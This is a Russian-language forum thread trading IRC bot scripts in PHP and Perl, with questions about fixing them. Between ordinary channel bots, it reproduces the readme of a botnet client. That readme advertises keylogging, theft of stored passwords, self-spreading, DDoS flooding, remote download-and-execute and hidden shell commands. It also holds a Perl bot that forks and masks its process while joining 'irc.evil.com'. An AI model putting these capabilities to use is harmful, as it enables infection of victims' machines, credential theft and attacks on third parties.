Наверно самый простой и легкий скрипт бота.. PHP: <?php // Config $authuser = ':[email protected]'; //In this format :name!partofemailbeforetheat@vhostordns $nick = 'Canuck'; $pass = 'g00nsdotnet'; $name = 'Jewishperson'; $serv = 'irc.g00ns.net'; $port = 6667; $chan = '#kodabot'; // Prevent PHP from stopping the script after 30 sec set_time_limit(0); // make the socket $socket = fsockopen($serv, $port) or die(); // send info fputs($socket,"USER $name g00ns.net Canuck :Canuck\n"); fputs($socket,"NICK $nick\n"); fputs($socket,"PRIVMSG NickServ IDENTIFY $pass\n"); // Join channel fputs($socket,"JOIN $chan\n"); // endless while while(1) { while($data = fgets($socket, 128)) { echo nl2br($data); flush(); // Sparate all data by the spaces $ex = explode(' ', $data); // Send PONG back to the server if($ex[0] == "PING"){ fputs($socket, "PONG ".$ex[1]."\n"); } $hostmask = str_replace(array(chr(10), chr(13)), '', $ex[0]); $command = str_replace(array(chr(10), chr(13)), '', $ex[3]); if($authuser == $hostmask){ // Message command if($command == ":!msg"){ fputs($socket, "PRIVMSG $ex[4] $ex[5] $ex[6] $ex[7] $ex[8] $ex[9] $ex[10] $ex[11] $ex[12] $ex[13] $ex[14] $ex[15] $ex[16] $ex[17] $ex[18] $ex[19]\n"); } // Quit command if($command == ":!water"){ fputs($socket,"PRIVMSG $ex[2] I'm melting! Oh what a world, what a world!\n"); fputs($socket,"QUIT *melts*\n"); } // Kick command if($command == ":!kick"){ fputs($socket,"KICK $ex[2] $ex[4]\n"); } // join command if($command == ":!join"){ fputs($socket,"JOIN $ex[4]\n"); } // Op command if($command == ":!op"){ fputs($socket,"MODE $ex[2] +o $ex[4]\n"); } // Halfop command if($command == ":!hop"){ fputs($socket,"MODE $ex[2] +h $ex[4]\n"); } // Voice command if($command == ":!voice"){ fputs($socket,"MODE $ex[2] +v $ex[4]\n"); } // Kickban command if($command == ":!kb"){ fputs($socket,"MODE $ex[2] +b $ex[4]\n"); fputs($socket,"KICK $ex[2] $ex[4]\n"); } // Help command if($command == ":!help"){ fputs($socket, "PRIVMSG $ex[2] Command List: \n"); fputs($socket, "PRIVMSG $ex[2] Voice: !voice [name]\n"); fputs($socket, "PRIVMSG $ex[2] Halfop: !hop [name]\n"); fputs($socket, "PRIVMSG $ex[2] Op: !op [name]\n"); fputs($socket, "PRIVMSG $ex[2] Kick: !kick [name]\n"); fputs($socket, "PRIVMSG $ex[2] Kick ban: !kb [name]\n"); fputs($socket, "PRIVMSG $ex[2] Join a channel: !join [channel]\n"); fputs($socket, "PRIVMSG $ex[2] Message: !msg [name/channel] [messge]\n"); } } } } ?> (c) g00n
и что? ето стоит понимать как "тема имеет право на существование потому что сабж не несет в себе никакой смысловой нагрузки и найти его можно по второму/двенадцатому линку гугла" ?
Code: ____ _ ___ ____ ____ ____ _ | __ ) _ __ __ _(_)_ __ |_ _| _ \ / ___| | __ ) ___ | |_ | _ \| '__/ _` | | '_ \ _____| || |_) | | _____| _ \ / _ \| __| | |_) | | | (_| | | | | |_____| || _ <| |__|_____| |_) | (_) | |_ |____/|_| \__,_|_|_| |_| |___|_| \_\\____| |____/ \___/ \__| _ _ __ ___ __ _ __| |_ __ ___ ___ _ | '__/ _ \/ _` |/ _` | '_ ` _ \ / _ (_) | | | __/ (_| | (_| | | | | | | __/_ |_| \___|\__,_|\__,_|_| |_| |_|\___(_) =========== I'm not responsible for anything you do with this. It's not ment and coded for using it in real life practice. ITS YOUR FAULT, if u use this for any illegal purpose It's just an example! =========== =========== Changes in update to 1.5.3:: -added !uptime -added !flood (floods ports http requests) -added !socks on/off (starts a socks 4 on 1080) -fixed some bugs in connection procedure =========== =========== Changes in update to 1.5.2:: -p2p Spreader added -Mirc.ini manipulator-spreader -IRC spam spreader -bind file to server function(By flowby -> THX) -Change Icon function(THX to flowby) -added win.ini autostart p2p Spreader: spreads by copying itself to the shared folders of following p2p programs: kazaa,klite,LimeWire,bearshare,Morpheus,Grokster Mirc.ini manipulator-spreader: Manipulates mirc installation in a way so it will send a msg and afterwards the bots executable to all users in all channels the victim joins.(sends exe via dcc) IRC spam spreader: You can chose 5 irc networks and 20 different channels on these nets in builder. the bots will join in there and spam around your message. You may put a fakesite-URL into the msg or just let it post a link to your ie sploit... bind file to server function: Lets u bind any file to the server... btw: makes it undetected =) Change Icon function: You can chose an Icon for the bot executable. =========== =========== Changes in update to 1.4:: -An sql spreader is included now -personalmessage-mode is now optional comments to sql spreader: U have to specify a FTP server in the editor and the name of the brainbot server. this server executable will be spread by all ur bots to other sql weak pw servers. U can specify a network. in this network (for example 217) the bot will scan rando ranges for sql weak pws. =========== =========== Changes in update to 1.3:: -upgraded dfind to 0.8 -added randomnized ident ,so bots cant get banned by ident New commands: !upgrade <upgradeURL> <upgradeURL> is the URL of the new brainbot server. it will be downloaded and executed while the old infection is removed. this way u can easy upgrade to another brainbot version or start using another rat/bot !op <channel> <nick> gives <nick> +o in <channel> of course only if bot has op in that channel. !deop <?channel?> <nick> gives <nick> -o in <channel> (deop's him =D) of course only if bot has op in that channel. !msg <Nick/chan> <message> Sends <message> to the chosen nick or chan =) !killscan stops the current scanningprocess. so u can clear the scanlogs by typing !shell del dfind =========== Here is a List of all the commands to use with BrainBot beta :: ======================= ======================= !login <PW> The Bot only will accept Commands after u logged in with this command... So your bots wont be took by some thiefs =). <Pw> stands for the admin - Password you specified in the server builder- form !logout This will log u out so that the bot dont accepts comands anymore until u login again !reboot forces the infected machine to reboot =D !shutdown forces the infected machine to shutdown -.-^^ !info This will show you some General Information abot the infected box=) !leave makes the bot leave the channel ^^ !uninstall uninstall the bot from infected box !serials The bot will post some game serials if installed... gonna add support for some more games in next version . :) !floodping <IP/Host> The bot or bots will flood the specified Host with fast permanent pings! (such as DDoS... depends on how many bots u got =D) !logkeyson turns keylogger on !logkeysoff turns keylogger off !showkeys shows all the logged keys !clearlog will clear the keylog file !PWS I think this is the best feature in this bot: the bot will post cached IE passes and Outlook express passes !dloadfile <url> <target> will download a file from <URL> to <target> !execfile <location> Executes the file in <location> !commands shows a list of the commands =) !IP shows you the current ip of infected box !nick <Nick> bot changes its nick to <Nick> !free will show free disk space of infected machine !spam <channel> will start spamming the specified channel !stopspam stops spamming ======== !scan <Parameters> scans with the Dfind-0.8 by by class101 infos at:http://www.governmentsecurity.org/forum/index.php?showtopic=9120 use following parameters: Usage: !scan <Option> [THREADS] <Option>: -p <Port> <IP IP> .......... Scan one port on iprange +p <Port> <IP IP> .......... Scan iprange,+logs ok,refused connections -p <Port , Port> <IP IP> ... Scan two ports on iprange -p <Port Port> <IP> ........ Scan a portrange on ip +p <Port Port> <IP> ........ Scan portrange,+logs ok,refused connections -ban <Port Port> <IP> ........ Scan portbanners on ip -ban <Port> <IP IP> .......... Scan portbanners on iprange -cgi <IP> .................... Scan cgi hole +ipc <IP IP> ................. Scan IPC$ null on 139 & 445 -ipc <IP IP> ................. Scan IPC$ null on 139 -ipc2 <IP IP> ................. Scan IPC$ null on 445 -iis <IP IP> ................. Scan IIS webservers -apa <IP IP> ................. Scan Apache webservers -wdv <IP IP> ................. Scan WebDav on IIS5.0 -hpj <IP IP> ................. Scan HP Web JetAdmin -msa <IP IP> ................. Scan MSADC on webservers -ccb <IP IP> ................. Scan CCBill WhereAmi -med <IP IP> ................. Scan WMedia on webservers -php <IP IP> ................. Scan phpBB on webservers -php2 <IP IP> ................. Scan PHP-Nuke on webservers -pso <IP IP> ................. Scan PSOProxy Server -fro <IP IP> ................. Scan frontpage host -rea <IP IP> ................. Scan RealServer component -htr <IP IP> ................. Scan +.htr hole -pri <IP IP> ................. Scan .printer host -uni <IP IP> ................. Scan unicode hole -idq <IP IP> ................. Scan .idq host -cod <IP IP> ................. Scan codered virus hole -opx <IP IP> ................. Scan OptixPRO v1.0 => 1.32(include) hole -rad <IP IP> ................. Scan Radmin 2.1 Auth,NTAuth,NULL session -sql <IP IP> ................. Scan MS SQL Servers for weak access -req <REQ IP IP> ............. Scan File/Dir Request on webservers !showscan gives you the scan results !sendscan <Your IP> <NC Port> The bot will connect to <Your IP> <NC Port> and echo the dfind results to it You have to start nc with this parameters before: nc -l -p <port> >>dfind =D !killscan stops the current scanningprocess. so u can clear the scanlogs by typing !shell del dfind ========== !cat <file> echos any file from infected box !raw <IRCcommand> will execute <IRCcommand> !shell <commands> will execute <commands> hidden on infected host <commands> can be any dos command + parameters !upgrade <upgradeURL> <upgradeURL> is the URL of the new brainbot server. it will be downloaded and executed while the old infection is removed. this way u can easy upgrade to another brainbot version or start using another rat/bot !op <channel> <nick> gives <nick> +o in <channel> of course only if bot has op in that channel. !deop <channel> <nick> gives <nick> -o in <channel> (deop's him =D) of course only if bot has op in that channel. !msg <Nick/chan> <message> Sends <message> to the chosen nick or chan =) ======================= ======================= Thx and greets to Flowby for helping me out with a nice skin, the hook-binder techique and great icon changer=) check out: www.brainbuster.tk =) If u got any questions,wishes for new features,or want an undetected server?,(or bugs..?) just mail to: [email protected] or add me to msn: [email protected] looking forward to get some feedback ;) Download
Perlbot by iD Code: #!usr/bin/perl use strict; use IO::Socket; ################################################ # Perlbot by iD - uNkn0wn-Crew # # [email protected] - www.uNkn0wn.eu # # -------------------------------------------- # # GREETINGZ; NOBODY, BECAUSE NOBODY HELPED ME! # ################################################ my $network = "irc.evil.com"; my $port = "6667"; my $nick = "Evilb0t"; my $ident = "evil"; my $name = "Perlbot by iD"; my $chan = "#evil"; my $author = "iD"; print qq( ######################################### Perlbot by $author. Starting... ----------------------------------------- Connecting to $network ######################################### ); my $socket = new IO::Socket::INET(PeerAddr =>$network,PeerPort =>$port,Proto => 'tcp') or die "Connection error\n"; print $socket "NICK $nick\r\n"; print $socket "USER $ident 8 * :$name\r\n"; while (my $input = <$socket>) { if ($input =~ /004/) { last; } elsif ($input =~ /433/) { die "Nick in use"; } elsif ($input =~ /PING/) { print "$input"; my $pong = substr($input, index($input, ":") + 1, (length($input) - index($input, ":"))); print $socket "PONG $pong\r\n"; } else { print "$input\n"; } if ($input =~ /This\sserver\swas\screated/) { print $socket "join $chan\r\n"; } } while (my $input = <$socket>) { chop $input; if ($input =~ /^PING(.*)$/i) { print $socket "PING $1\r\n"; } elsif ($input =~ /PRIVMSG/) { $input =~ s/:[^:]*://g; print $socket "$input \n"; } else { print "$input\n"; } } ################################################ # EOF - END OF FILE! # # -------------------------------------------- # # Perlbot by iD - uNkn0wn-Crew # # [email protected] - www.uNkn0wn.eu # ################################################ #!usr/bin/perl use strict; use IO::Socket; ################################################ # Perlbot by iD - uNkn0wn-Crew # # [email protected] - www.uNkn0wn.eu # # -------------------------------------------- # # GREETINGZ; NOBODY, BECAUSE NOBODY HELPED ME! # ################################################ my $network = "irc.evil.com"; my $port = "6667"; my $nick = "Evilb0t"; my $ident = "evil"; my $name = "Perlbot by iD"; my $chan = "#evil"; my $author = "iD"; my $process = 'Perlbot'; print qq( ######################################### Perlbot by $author. Starting... ----------------------------------------- Connecting to $network ######################################### ); $0="$process"."\0"x16;; my $pid=fork; exit if $pid; my $socket = new IO::Socket::INET(PeerAddr =>$network,PeerPort =>$port,Proto => 'tcp') or die "Connection error\n"; print $socket "NICK $nick\r\n"; print $socket "USER $ident 8 * :$name\r\n"; while (my $input = <$socket>) { if ($input =~ /433/) { die "Nick in use"; } elsif ($input =~ /PING/) { my $pong = substr($input, index($input, ":") + 1, (length($input) - index($input, ":"))); print $socket "PONG $pong\r\n"; } elsif ($input =~ /PING(.*)$/i) { print $socket "PING $1\r\n"; } if ($input =~ /This\sserver\swas\screated/) { print $socket "join $chan\r\n"; } } ################################################ # EOF - END OF FILE! # # -------------------------------------------- # # Perlbot by iD - uNkn0wn-Crew # # [email protected] - www.uNkn0wn.eu # ################################################
Isis, а как в первом скрипте сделать автоперезаход на канал, если бот там один остается? З.Ы. и где найти хостинг с set_time_limit(0); ?
нет самый простой ботег у меня Code: #!/usr/local/bin/php <?php // Параметры IRC сервера $irc_server["ip"]='XXX.XXX.XXX.XXX'; $irc_server["port"]=6669; $irc_server["name"]='irc.mine.net'; // Список каналов на которых будет присутствовать бот $channels[0]="somechannel0"; $channels[1]="somechannel1"; $channels[2]="somechannel2"; // Таймер для отсчета времни чтобы выдать случайную фразу $timer=0; $privates=Array(); // Параметры бота $bot["nick"]='PHP_Bot'; $bot["user"]='PHP_Bot'; $bot["host"]='bot.mine.net'; $bot["ip"]='XXX.XXX.XXX.XXX'; $bot["hz"]='PHP_Bot'; // Функция из мана используемая для получения "наиболее случайных чисел" function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } // Функция установки коннекта к IRC серверу // Устанавливает начальный коннект function connect_IRC () { global $irc_server, $bot, $fp; // Открываем сокет с заданым сервером и портом $fp = fsockopen($irc_server["ip"], $irc_server["port"], $errno, $errstr,30); $flag=0; // Вычитываем все что даст нам сервер, до ключевой фразы, после которой, // можно отсылать данные о пользователе while (!$flag && !feof($fp)) { $line=fgets ($fp); if (preg_match("/bFoundsyourshostnameb/", $line)) { $flag=1; } } // Пишем в сокет данные о авторизации бота fputs ($fp, sprintf ("NICK %sn", $bot["nick"])); fputs ($fp, sprintf ("USER %s "%s" "%s" :%sn", $bot["user"], $bot["host"], $bot["ip"], $bot["hz"])); $flag=0; // Снова вычитываем все до ключевого номера 700, после которого можно // начинать заходить в каналы while (!$flag && !feof($fp)) { $line=fgets ($fp); if (preg_match("/b700b/", $line)) { $flag=1; } } // Возвращаем указатель на открытый сокет основной части return ($fp); } // Функция для подготовки вывода в канал // одного из предопределенных случайных выражений function is_time($chan) { global $timer, $log_file, $bot; // Полный путь к текстовому файл в котором определены возможные выражения $texts=file('/home/myaccount/bot_conf/lyaps'); $message=''; $now=mktime(date ("H"), date("i"), date("s"), date ("m"), date ("d"), date ("Y")); // Определяем интервал с которым бот будет что-то говорить в канал // (в этом примере - 10 минут) $time_to_say=mktime(date ("H"), date("i")-10, date("s"), date ("m"), date ("d"), date ("Y")); // Если пора что-то говорить - формируем фразу, // если нет - возвращаем пустое значение if ($timer<$time_to_say) { // Сбрасываем таймер $timer=$now; // Определяем фразу srand(make_seed()); $mess=rand(1, sizeof($texts)); $texts[$mess]=trim($texts[$mess]); // Форматируем строку для отсылки серверу $message = sprintf ("PRIVMSG #%s :%sn",$chan,$texts[$mess]); // Если выражение не пустое пишем в лог if ($texts[$mess]!='') { $log_file='/home/myaccount/irc_log/#'.$chan.date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("[%s] <%s> %sn", date("H:i"), $bot["nick"], $texts[$mess])); fclose ($lf); } } //Возвращаем подготовленую строку return ($message); } // Функция отсылки привествия для зашедших на канал пользователей // берет одно из предопределенных приветствий и подставляет ник function hello ($str) { global $bot; // Полный путь к текстовому файл в котором определены возможные выражения $texts=file('/home/myaccount/bot_conf/hello'); // Определяем фразу srand(make_seed()); $mess=rand(1, sizeof($texts)); // Форматируем строку для отсылки серверу $message = sprintf ("PRIVMSG #%s :%s%s!n",$str[2],$texts[$mess], $str[1]); // Пишем в лог $log_file='/home/myaccount/irc_log/#'.$str[2].date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("[%s] <%s> %s%s!n", date("H:i"), $bot["nick"], $texts[$mess], $str[1])); fclose ($lf); // Возвращаем подготовленую строку return ($message); } // Устанавливаем соединение с сервером if ($sp=connect_IRC()) { reset ($channels); // Думаю что не нужен, но... на всяк пожарный while (list(,$channel_name)=each($channels)) { // Заходим во все определенные каналы fputs ($sp, sprintf("JOIN #%sn", $channel_name)); fputs ($sp, sprintf("MODE #%sn", $channel_name)); // Ниже бот берет на себя права оператора сервера, для этого // для него должны быть определены соответствующие настройки сервера // (см. документацию к серверной части) fputs ($sp, sprintf("OPER %s PHP_BOT_oper_passwordn", $bot["nick"])); fputs ($sp, sprintf("MODE %s +an", $bot["nick"])); fputs ($sp, sprintf("MODE %s +An", $bot["nick"])); fputs ($sp, sprintf("SAMODE #%s +o %sn", $channel_name, $bot["nick"])); // Определение регэкспов для отслеживания ключевых выражений // Вход пользователя на канал $joined[$channel_name]= '/:(.+)!.+sJOINs:#('.$channel_name.')/'; // Сообщение от пользователя в канал $privmsg[$channel_name]= '/:(.+)!.+sPRIVMSGs#('.$channel_name.')s:(.+)/'; // Выход пользователя с канала $partmsg[$channel_name]='/:(.+)!.+sPARTs#('.$channel_name.')/'; // Установка темы канала $topic[$channel_name]= '/:(.+)!.+sTOPICs#('.$channel_name.')s:(.+)s/'; // Отключение пользователя от сервера $quitmsg='/:(.+)!.+sQUITs:Quit:s(.*)s/'; // Сообщение в приват боту $private_me='/:(.+)!.+sPRIVMSGs('.$bot["nick"].')s:(.+)/'; // Смена ника юзером $nick='/:(.+)!.+sNICKs:(.+)s/'; } } $flag=0; // В принципе - бесконечный цикл (если не оборветься связь с сервером) while (!$flag && !feof($fp)) { $line=fgets($sp); reset($joined); // Проверяем - если идет команда PING от сервера - отвечаем PONG $ping='/^(PING)b/'; if (preg_match($ping, $line)) { fputs ($fp, "PONG :".$irc_server["name"]."n"); } else { // Флаг для определения того что бот уже нашел ключевую фразу $stop=0; // Запускаем цикл по всем нужным каналам while ((list($keys, $values)=each($joined)) && !$stop) { // Проверяем не время ли сказать чего-нибудь в канал $str_=is_time($keys); fputs($fp, $str_); // Проверка на вход кого-либо на канал if (preg_match($joined[$keys], $line, $matches)) { $stop=1; if ($matches[1]!=$bot["nick"]) { // Пишем в лог $log_file='/home/myaccount/irc_log/#'. $matches[2].date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("[%s] * <%s> вошел на канал %sn", date("H:i"$matches[1], $matches[2])); fclose ($lf); // Получаем строку приветствия $str_=hello($matches); // Отсылаем фразу серверу fputs ($fp, $str_); } } else { // если это просто фраза в канал, либо в приват боту if (!preg_match($action[$keys], $line, $matches) && (preg_match($privmsg[$keys], $line, $matches) || preg_match($private_me, $line, $matches))) { $stop=1; // Отсылаем функции обработки сообщений // не рассматривается (в данной статье) $str_=analyze_msg($matches); // Выводим результат fputs ($fp, $str_); } else { // Если пользователь покинул канал if (preg_match($partmsg[$keys], $line, $matches)) { // Просто пишем в лог $log_file='/home/myaccount/irc_log/#'. $matches[2].date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("[%s] * <%s> покинул канал %sn", date("H:i"), $matches[1], $matches[2])); fclose ($lf); } else { // Если пользователь покинул сервер if (preg_match($quitmsg, $line, $matches)) { // Просто пишем в лог $log_file='/home/myaccount/irc_log/#'. $keys.date("Ymd").'.log'; $textq=''; // Определяем причину выхода (если указана) if (trim($matches[2])!='') { $textq="(".trim($matches[2]).")"; } $lf=fopen($log_file,"a"); fputs ($lf, sprintf( "[%s] * <%s> покинул IRC сервер %sn", date("H:i"), $matches[1], $textq)); fclose ($lf); } else { // Если пользователь сменил ник if (preg_match($nick, $line, $matches)) { // Пишем в лог $log_file='/home/myaccount/irc_log/#'. $keys.date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("[%s] * %s взял имя %sn", date("H:i"), $matches[1], $matches[2])); fclose ($lf); } else { // Если установлена тема if (preg_match($topic[$keys],$line,$matches)) { // Пишем в лог $log_file='/home/myaccount/irc_log/#'. $keys.date("Ymd").'.log'; $lf=fopen($log_file,"a"); fputs ($lf, sprintf("............", date("H:i"), $matches[1], $matches[3])); fclose ($lf); } } } } } } } } // Пауза 1 сек. - чтобы меньше грузить сервер sleep(1); } // Закрытие сокета fclose ($sp); ?> Взято с inattack.ru (C)
Помогите, пишу бота, вот код: PHP: .... $help = "Извините, но бот на прафилактике :) Тестирование"; if($msg===":!help"){ fputs($this->socket, "PRIVMSG ".$ot." ".$help."\n");} .... В итоге получаю в приват: Извините, Итог: все пробелы в $help очищаются... И отправляется только первый участок... Вопрос: Что сделать чтобы пробелы отсылались?